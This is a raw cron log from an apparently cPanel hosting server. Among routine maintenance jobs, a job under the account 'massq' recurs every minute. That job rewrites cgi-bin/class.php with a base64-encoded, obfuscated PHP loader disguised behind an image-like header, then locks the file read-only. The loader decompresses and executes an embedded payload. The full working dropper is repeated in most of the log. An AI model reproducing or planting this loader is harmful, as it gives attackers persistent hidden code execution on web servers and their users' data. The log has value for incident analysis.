Sep  2 02:23:01 server CROND[785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:23:01 server CROND[786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:23:01 server CROND[787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:24:01 server CROND[1247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:24:01 server CROND[1249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:24:01 server CROND[1248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:25:01 server CROND[1660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:25:01 server CROND[1662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:25:01 server CROND[1665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:25:01 server CROND[1664]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:25:01 server CROND[1667]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:25:01 server CROND[1663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:25:01 server CROND[1668]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 02:25:01 server CROND[1675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:26:01 server CROND[2644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:26:01 server CROND[2646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:26:01 server CROND[2645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:27:01 server CROND[3058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:27:01 server CROND[3059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:27:01 server CROND[3060]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 02:27:01 server CROND[3061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:28:01 server CROND[3477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:28:01 server CROND[3478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:28:01 server CROND[3479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:29:01 server CROND[3860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:29:01 server CROND[3862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:29:01 server CROND[3861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:30:01 server CROND[4323]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:30:01 server CROND[4324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:30:01 server CROND[4325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:30:01 server CROND[4328]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:30:01 server CROND[4327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:30:01 server CROND[4330]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:30:01 server CROND[4329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:30:01 server CROND[4326]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:31:01 server CROND[5203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:31:01 server CROND[5204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:31:01 server CROND[5205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:32:01 server CROND[5684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:32:01 server CROND[5685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:32:01 server CROND[5686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:33:01 server CROND[6109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:33:01 server CROND[6110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:33:01 server CROND[6111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:34:01 server CROND[6487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:34:01 server CROND[6488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:34:01 server CROND[6489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:35:01 server CROND[6896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:35:02 server CROND[6898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
